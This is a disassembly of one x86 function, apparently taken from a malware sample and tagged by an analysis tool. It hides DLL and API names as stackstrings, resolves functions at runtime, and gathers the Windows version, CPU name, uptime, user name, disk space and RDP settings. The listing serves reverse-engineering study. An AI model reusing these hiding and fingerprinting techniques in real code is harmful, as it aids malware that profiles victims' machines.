Function at 0x40f685
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
and byte [ebp - 8], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
lea eax, [ebp - 0x14]
push str.RegOpenKeyExA
push eax
mov byte [ebp - 0x14], 0x41
mov byte [ebp - 0x13], 0x44
mov byte [ebp - 0x12], 0x56
mov byte [ebp - 0x11], 0x41
mov byte [ebp - 0x10], 0x50
mov byte [ebp - 0xf], 0x49
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x14]
push str.RegCloseKey
push eax
call esi
push eax
call edi
and byte [ebp - 0x18], 0
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x24]
mov ebx, str.KERNEL32.dll
push eax
push ebx
mov byte [ebp - 0x24], 0x47
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x54
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x63
mov byte [ebp - 0x1e], 0x6b
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x6f
mov byte [ebp - 0x1b], 0x75
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], 0x74
call esi
push eax
call edi
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x14]
push str.RegQueryValueExA
push eax
call esi
push eax
call edi
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x14]
push str.GetUserNameA
push eax
call esi
push eax
call edi
push str.GetVersionExA
push ebx
mov dword [ebp - 0x4c], eax
call esi
push eax
call edi
push str.GetDriveTypeA
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
push str.GetDiskFreeSpaceExA
mov dword [ebp - 0x3c], eax
push ebx
call esi
push eax
call edi
mov ebx, dword [ebp + 8]
push 0x190
push 0
push ebx
mov dword [ebp - 0x40], eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
xor esi, esi
mov dword [ebp - 0x108], 0x9c
push eax
call dword [ebp - 4]
cmp dword [ebp - 0x104], 4
ja 0x40f7bc
mov esi, 0x41e944
cmp dword [ebp - 0x104], 5
mov eax, dword [ebp - 0x100]
jne 0x40f7e8
test eax, eax
jne 0x40f7d4
mov esi, str.2000
cmp eax, 1
jne 0x40f7de
mov esi, 0x41e940
cmp eax, 2
jne 0x40f804
mov esi, str.2003
cmp dword [ebp - 0x104], 6
jne 0x40f804
test eax, eax
jne 0x40f7fa
mov esi, str.2008
cmp eax, 1
jne 0x40f804
mov esi, 0x41def4
movzx eax, word [ebp - 0x74]
push eax
push esi
push str.Windows__s_SP_d
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov esi, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
lea edi, [ebp - 0x20c]
xor eax, eax
push 0xc
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x35
lea edi, [ebp - 0x1dc]
pop ecx
xor esi, esi
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], esi
push eax
push 0xf003f
lea eax, [ebp - 0x20c]
push esi
push eax
push reloc.WS2_32.dll_bind
call dword [ebp - 0x2c]
test eax, eax
jne 0x40f87f
lea eax, [ebp + 8]
mov dword [ebp + 8], 0x80
push eax
lea eax, [ebx + 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
push esi
push str.ProcessorNameString
push dword [ebp - 0x28]
call dword [ebp - 0x48]
push dword [ebp - 0x28]
call dword [ebp - 0x54]
jmp 0x40f88f
lea eax, [ebx + 0x20]
push str.Find_CPU_infomation_error
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
call dword [ebp - 0x50]
mov ecx, 0x5265c00
xor edx, edx
mov edi, ecx
mov esi, eax
div edi
xor edx, edx
mov dword [ebp + 8], eax
mov eax, esi
div ecx
mov ecx, 0x36ee80
mov edi, ecx
mov esi, edx
xor edx, edx
mov eax, esi
div edi
mov edi, 0xea60
mov eax, edx
xor edx, edx
div edi
xor edx, edx
push eax
mov eax, esi
div ecx
push eax
lea eax, [ebx + 0xa0]
push dword [ebp + 8]
push 0x41e8bc
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
call fcn.0040f11b
push eax
lea eax, [ebx + 0xc0]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x1c
lea eax, [ebp - 0x44]
push 0x20
pop edi
push eax
lea eax, [ebx + 0x140]
push eax
mov dword [ebp - 0x44], edi
call dword [ebp - 0x4c]
call fcn.0040f613
mov esi, dword [sym.imp.MSVCRT.dll_atol]
push eax
call esi
mov dword [ebx + 0x180], eax
call fcn.0040f511
push eax
call esi
pop ecx
xor esi, esi
pop ecx
mov dword [ebx + 0x184], eax
mov dword [ebp - 4], esi
mov dword [ebp + 8], esi
mov al, byte [ebp + 8]
and byte [ebp - 0x35], 0
add al, 0x42
mov byte [ebp - 0x37], 0x3a
mov byte [ebp - 0x38], al
lea eax, [ebp - 0x38]
push eax
mov byte [ebp - 0x36], 0x5c
call dword [ebp - 0x3c]
cmp eax, 3
jne 0x40f988
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [ebp - 0x40]
mov eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x58]
push 0x1e
pop ecx
call fcn.00417e20
mov edx, dword [ebp - 0x60]
push 0x1e
add esi, eax
mov eax, dword [ebp - 0x64]
pop ecx
call fcn.00417e20
add dword [ebp - 4], eax
inc dword [ebp + 8]
cmp dword [ebp + 8], 0x1a
jl 0x40f934
mov eax, dword [ebp - 4]
mov dword [ebx + 0x188], esi
mov dword [ebx + 0x18c], eax
add ebx, 0x160
push edi
push ebx
push str.RDP_Tcp
call fcn.0040f583
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret 4